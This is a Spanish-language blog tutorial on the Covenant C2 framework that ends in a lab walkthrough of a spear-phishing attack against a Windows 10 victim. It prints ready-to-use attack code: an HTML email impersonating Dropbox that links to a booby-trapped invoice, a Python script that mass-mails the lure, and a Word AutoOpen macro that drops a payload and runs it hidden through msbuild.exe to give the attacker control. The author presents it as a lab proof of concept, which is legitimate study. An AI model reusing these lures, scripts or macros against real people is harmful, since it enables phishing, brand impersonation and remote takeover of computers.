Buenas a tod@s, como es deuda, hoy os traigo la continuación del post anterior de Covenant C2, en este post, vamos hablar de como se utiliza Covenant C2 para poder realizar una infección de un equipo para posteriormente, tener un control total del equipo víctima.
Antes de comenzar, si no sabes que es Covenant C2 o quieres saber como se instala, puedes visitar el post anterior a través del siguiente enlace:
1. Introducción
Antes de comenzar, dejar una breve aclaración, las capturas. y técnicas utilizadas para la realización del post han sido comprobadas en un laboratorio controlado sin medidas de seguridad para paliar dichos ataques.
Todos los ataques y técnicas aplicadas, serán sobre un Windows 10, sin herramientas instaladas que detengan dichos ataques, en futuros post, abarcaremos la evasión de AV y otras herramientas con Covenant C2.
2. Definiciones
Antes de comenzar con las técnicas que vamos aplicar para poder poner en marcha Covenant C2, vamos a explicar todas las secciones de la interfaz web, es importante conocer la estructura de la misma para saber que papel toma dentro de una infraestructura C&C.
2.1 Listeners
Vamos a comenzar con el primero de la lista, en este caso se trata de los «Listeners», los cuales se crean para poder recibir las conexiones de los «grunts» (clientes). Actualmente, Covenant permite la configuración de «Listeners» nativos o «Bridge», en este post solo vamos a abarcar los nativos. A día de hoy Covenant, de forma nativa solo soporta «HttpListener». Para poder crear un nuevo «Listener», tendremos que hacer «click» en el botón «Create», el cual nos dirigirá a una nueva página de configuración:
En la siguiente captura, podemos ver la página de configuración, donde nos encontraremos con varios parámetros que podemos configurar:
Esos parámetros son los siguientes:
- Name: El parámetro
Name
, será el nombre que recibirá el listener y que aparecerá dentro de la interfaz web. Es importante establecer un nombre fácilmente reconocible. - BindAddress: El parámetro
BindAddress
, será la IP local de la interfaz que se encuentre a la escucha de las conexiones externas que realicen los clientes, esto es útil en caso de que tu servidor tenga múltiples interfaces de red. Por defecto, el valor es0.0.0.0
para que el «Listener» escuche a través de todas las interfaces del servidor Covenant. - BindPort: El parámetro
BindPort
, será el puerto que se mantendrá a la escucha de los clientes localmente. - ConnectPort: El parámetro
ConnectPort
, será el puerto que utilizarán los clientes infectados para poder conectarse a través de HTTP con el servidor Covenant. - ConnectAddresses: El parámetro
ConnectAddresses
, será la dirección IP o dominio donde los clientes infectados intentarán conectarse para comunicarse con el servidor Covenant C2. Se pueden especificar múltiplesConnectAddresses
, para redundar la conectividad contra el servidor Covenant C2, en caso de fallo por parte de una de las conexiones, el cliente intentará conectarse con el siguiente hasta que tenga éxito. - Urls: El parámetro
Urls
, serene las direcciones URL que utilizarán los «Grunts» para conectarse contra el servidor Covenant C2. Estos serán calculados en base a la combinación entreConnectAddresses
,BindPort
, yUseSSL
, dando como resultadohttp(s)://<connectaddress>:<bindport>
. - UseSSL: El parámetro
UseSSL
, este valor determina si utilizaremos certificados en la comunicación, en caso de marcarlo, necesitaremos proporcionar certificados. - SSLCertificate: El parámetro
SSLCertificate
, será utilizado para especificar el certificado utilizado por el «Listener». En caso de configurarlo, el formato esperado del certificado será PFX. - SSLCertificatePassword: El parámetro
SSLCertificatePassword
, será utilizado para introducir la contraseña para proteger nuestros certificados. - HttpProfile: El parámetro
HttpProfile
, nos permitirá seleccionar un perfil HTTP el cual modificará el comportamiento de cómo interactuarán los «Grunts» con nuestros «Listeners».
https://github.com/cobbr/Covenant/wiki/Listeners
2.2 Launchers
Esta sección es importante, ya que tras configurar un «Listener» vamos a querer poder lanzar/infectar una víctima y que esta se conecte contra nuestro servidor C&C, aquí entra esta sección, la cual nos permite crear binarios, scrips y comandos para poder ejecutar nuevos «Grunts».
Para poder entender algo mejor esta sección, vamos a definir cada una de las opciones disponibles en Covenant C2:
- Binary – El launcher
Binary
, se utiliza para crear binarios personalizados utilizados para lanzar en la víctima y crear un «Grunt». Actualmente, es la única opción que no depende de otro binario. - ShellCode – El launcher
ShellCode
, esta opción se utiliza para convertir un binario en shellcode utilizando la herramienta «Donut». - PowerShell – El launcher
PowerShell
, esta opción permite generar código powershell para generar un «Grunt». - MSBuild – El launcher
MSBuild
, es utilizado para generar un MSBuild XML para lanzar un «Grunt» utilizando «msbuild.exe».. - InstallUtil – El launcher
InstallUtil
, es utilizado para generar un InstallUtil XML para lanzar un «Grunt» utilizando «installutil.exe». - Mshta – El launcher
Mshta
, es utilizado para generar un fichero/comando HTA para lanzar un «Grunt» utilizando «mshta.exe». - Regsvr32 – El launcher
Regsvr32
, es utilizado para generar un fichero SCT para lanzar un «Grunt» utilizando «regvr32.exe». - Wmic – El launcher
Wmic
, es utilizado para generar un fichero xsl para lanzar un «Grunt» utilizando «mic.exe». - Cscript – El launcher
Cscript
, es utilizado para generar un JScript para lanzar un «Grunt» utilizando «cscript.exe». - Wscript – El launcher
Wscript
, es utilizado para generar un JScript para lanzar un «Grunt» utilizando «wscript.exe».
Aquí un ejemplo de utilización del launcher «PowerShell»:
https://github.com/cobbr/Covenant/wiki/Launchers
2.3 Grunts
En esta sección, podremos ver todos los «Grunts» que generemos, a parte de poder interactuar con los mismos:
En caso de abrir el «Grunt», podemos ver información e incluso de interactuar con el mismo:
https://github.com/cobbr/Covenant/wiki/Grunt-Interaction
2.4 Tasks
En esta sección, podemos encontrar todas las «tasks» que podemos lanzar en un «Grunt». Covenant nos da por defecto una cantidad de herramientas bastante amplia para poder obtener información en la post-explotación.
https://github.com/cobbr/Covenant/wiki/Building-Tasks
Finalmente, con tener en cuenta estos puntos, veremos una simulación de ataque interactuando con otras herramientas.
3. Simulación de un posible ataque
Para esta prueba de concepto, vamos a intentar realizar un escenario lo más parecido al mundo real, está claro que es un entorno controlado, donde en varios casos voy a «enmascarar» ciertas técnicas o servicios utilizados por atacantes reales sustituyéndolos por servicios locales o modificación de ciertos archivos. La idea de esta prueba de concepto es mostrar como Covenant forma parte de un ataque realizado por los ciber criminales.
Para comenzar, vamos a explicar el laboratorio que tenemos montado, el cual consta de VM con Kali Linux instalada, donde se realizará parte del ataque, un servidor con Debian 11, donde estará instalado Covenant y Apache Server, y finalmente la máquina objetivo/víctima, la cual tendrá un Windows 10 instalado. A continuación os muestro un diagrama conceptual:
La prueba de concepto, tratará de realizar un Spear Phishing, dónde realizaremos un phishing más sofisticado y personal para nuestra víctima, la cual previamente hemos recolectado información y sabemos que tiene contratado servicios con DropBox. En este phishing, vamos a tratar de engañar a la víctima para que se descargue una «Factura» en formato «docx», la cual contiene una macro maliciosa. Esta macro maliciosa, se activará al abrir dicho documento Word y ejecutará una conexión contra Covenant creando un «Grunt», para posteriormente, poder interactuar con la víctima, escalar privilegios y realizar un dump de credenciales.
3.1 1º Fase – Spear Phishing
Sabemos que la víctima suele utilizar el servicio de almacenamiento en la nube «DropBox», lo que haremos a continuación, será construir una plantilla HTML+CSS para construir el cuerpo del mensaje y que se asemeje lo máximo posible a un correo de DropBox, adicionalmente, añadiremos un botón de descarga, el cual descargará el fichero desde el propio servidor de Covenant, donde tenemos el servidor Apache instalado. Es decir, algo parecido a lo siguiente:
A continuación, os dejo el código:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Factura disponible</title>
<style>
/* Estilos */
body {
font-family: Arial, sans-serif;
font-size: 16px;
color: #444444;
line-height: 1.5;
}
.container {
max-width: 600px;
margin: 0 auto;
padding: 20px;
}
h1 {
font-size: 28px;
color: #0066cc;
margin-bottom: 30px;
text-align: center;
}
p {
margin-bottom: 20px;
}
.button {
display: inline-block;
background-color: #0066cc;
color: #ffffff;
padding: 10px 20px;
border-radius: 4px;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<div class="container">
<h1><img width="400" height="200" src="https://upload.wikimedia.org/wikipedia/commons/c/cb/Dropbox_logo_2017.svg"></h1>
<p>Estimado/a cliente,</p>
<p><b>Pepe Martinez Ferrandez</b></p>
<p>Le informamos que su factura correspondiente al mes de <b>Marzo</b> ya está disponible en su cuenta.</p>
<p>Para ver y descargar su factura, por favor ingrese en el enlace adjunto a continuación:</p>
<a href="http://192.168.0.19/facturaMarzo.docx" class="button">Descargar Factura</a>
<p>Si tiene alguna pregunta o inquietud, por favor no dude en contactarnos.</p>
<p>Gracias por elegir nuestros servicios.</p>
<p>Atentamente,</p>
<p>El equipo de DropBox.</p>
</div>
</body>
</html>
El siguiente paso, será poder mandar este contenido vía correo electrónico, el cual lo haremos con el siguiente script de python, el cual obtiene una lista de correos electrónicos de un archivo TXT y utiliza la plantilla HTML creada anteriormente para generar el mensaje: Importante recalcar, que hay que utilizar un servicio de correo electrónico que permita acceso a su servidor SMTP, ya sea mediante previo pago o gratuitamente.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
#Informacion relevante para la conexion al servidor SMTP
server = 'smtp.ejemplo.com'
port = 587
user = 'ejemplo'
password = 'ejemploPassword'
yo = user # yo == Mi correo electronico
# Importando el cuerpo del correo electronico.
text = "Estimado cliente, tiene una factura pendiente."
with open('index.html') as fichero:
html = fichero.read()
# Creando el contenedor del mensaje.
msg = MIMEMultipart('alternative')
msg['Subject'] = "Nueva factura generada - DropBox."
msg['From'] = "DropBox <" + yo + ">"
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
msg.attach(part1)
msg.attach(part2)
# Leemos los correos que vamos a mandar nuestro x.
with open('mail.txt','r') as datos:
receptores = datos.readlines()
for receptor in receptores:
receptor = receptor.rstrip()
msg['To'] = receptor
# Enviando el correo electronico.
print("Connection")
with smtplib.SMTP(server, port) as connection:
connection.starttls()
print("Login")
connection.login(user,password)
print("Send email")
connection.sendmail(yo, receptor, msg.as_string())
connection.quit()
3.2 2º Fase – Creación del archivo infectado
En este caso, vamos a trabajar con Word, en particular para este caso vamos a utilizar las macros, donde usaremos el siguiente script de VBS para la creación y ejecución de nuestro grunt en Covenant:
Sub AutoOpen()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile("C:\Users\Usuario\Desktop\payload.txt")
Dim MyPayload As String
MyPayload = ActiveDocument.Bookmarks("payload").Range.Text
oFile.Writeline MyPayload
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Call Shell("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Users\Usuario\Desktop\payload.txt", vbHide)
End Sub
Como podéis ver, en el script anterior, lo que hacemos es escribir en el archivo «payload.txt» el contenido del marcador «payload» que existe dentro del word y que podemos enmascarar, para finalmente poder ejecutarlo con Msbuild.exe y así crear nuestro Grunt de Covenant.
3.3 3º Fase – Creación del Payload con Covenant
Para este caso, seleccionaremos la opción de «Msbuild» y generamos nuestro payload para copiarlo en el word que hemos comentado en la anterior fase, aparte de esto, lo podemos enmascarar, pero para esta prueba de concepto no es necesario.
Una vez se nos genera el payload, solo queda añadirlo al Word y añadirlo como «marcador»:
3.4 4º Fase – Prueba completa
A continuación, os voy a dejar un vídeo, donde podéis ver todo el proceso completo de un posible ataque. Como os he dicho al principio del post, esta prueba de concepto, no trata de evadir las medidas de seguridad que posiblemente tengan los navegadores y sistemas operativos, simplemente es para poder entender que papel juega Covenant en un ataque.
4. Fuentes
https://github.com/cobbr/Covenant/wiki
https://excellium-services.com/2022/07/25/abusing-macro-to-get-code-execution-from-word-document/
5. Conclusión
Tras realizar esta prueba de concepto, podéis haceros una idea de como se integran los servidores C&C en los ataques que se realizan a lo largo de internet. En mi opinión, con la explotación de servicios mal configurados, vulnerables y ataques dirigidos, los atacantes se hacen con una red amplia de equipos vulnerados.